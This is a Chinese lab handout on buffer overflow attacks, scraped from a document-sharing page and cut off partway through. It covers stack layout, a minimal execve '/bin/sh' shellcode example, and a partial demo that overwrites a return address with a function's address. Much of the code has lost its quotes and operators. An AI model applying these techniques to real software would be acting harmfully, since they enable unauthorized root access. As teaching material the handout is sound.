- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
缓冲区溢出攻击实验
【实验要求】
1)基本要求:
编写一个能实现缓冲区溢出(整数溢出或堆栈溢出)的程序。语言不限(c,c++,c#,java等均可),环境也不限(linux或windows等)。并在调试状态下(如linux的gdb或其他集成开发环境的调试命令)查看寄存器和相应存储单元内容的变化情况。分析并解释缓冲区溢出的原因。
提交:分析文档(要给出调试过程和运行过程中的一些必要的截图),源代码等。
2)提高要求:
在上述溢出的情况下,改写ret地址,增加shellcode代码,实现本地或远程管理员权限的非授权访问。
例:一个简单的shellcode程序:
/* linux下的一个程序*/
#include stdio.h
void main() {
char *name[2];
name[0]=/bin/sh;
name[1]=NULL;
execve(name[0],name,NULL);
}
也可用gdb对其反汇编(主要分析execve和exit函数调用的机器指令),获得相关的汇编代码,进一步处理为16进制机器代码,形如char shellcode[]=\xeb\xlf.......\bin\sh;然后利用strcpy等脆弱性函数植入shellcode.
【实验原理】
实验主要是利用getchar()等脆弱性函数在执行时没有检查缓冲区长度的特性,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
局部变量与堆栈的关系
在一个程序中,会声明各种变量。静态全局变量是位于数据段并且在程序开始运行的时候被初始化,而局部变量则在堆栈中分配,只在该函数内部有效。如果局部变量使用不当,会造成缓冲区溢出漏洞。例如,以下程序将会由于getchar()没有检查缓冲区,导致输入溢出:
#include stdio.h
int main()
{
char ch[3];
int i = 0;
while((ch[i++] = getchar()) != \n);
printf(i = %d %s\n, i, ch);
return 0;
}
利用堆栈溢出运行攻击代码
攻击的最关键在于利用缓冲区溢出部分的数据覆盖堆栈,用特定的地址替换堆栈中的返回地址,这样当函数调用返回的时候就会把我们替换的返回地址弹出到当前基址,继续执行就会转入我们想要跳转的地址执行事先设定好的代码段了。
【实验环境】
操作系统: Ubuntu 10.10
GDB版本: Ubuntu/Linaro 7.2-1ubuntu11 i686-linux-gnu
CPU型号: AMD 245
【实验过程】
基础演示缓冲区溢出
1 #include stdio.h
2 int i = 0;
3 void attack()
4 {
5 printf(hello, thiss attack function\n);
6 }
7 void get()
8 {
9 int a = 0;
10 unsigned char ch[3];
11 int *ret = 0;
12 printf(%x\n%x\n, a, ch);
13 //while((ch[i++] = getchar()) != \n);
14 //while(scanf(%d, ch[i++]));
15 while( i 23)
16 ch[i++] = 0x90;
17 ch[i++] = (char)(int)attack % 256;
18 ch[i++] = (char)((int)attack 8) % 256;
19 ch[i++] = (char)((int)attack 16) % 256;
20 ch[i++] = (char)((int)attack 24) % 256;
21 printf(i = %d %d %s\n, i, a, ch);
22 //ret = i + 5;
23 //*ret -= 12;
24 //return 0;
25 }
26
27 int main()
28 {
29 //int i = 0;
文档评论(0)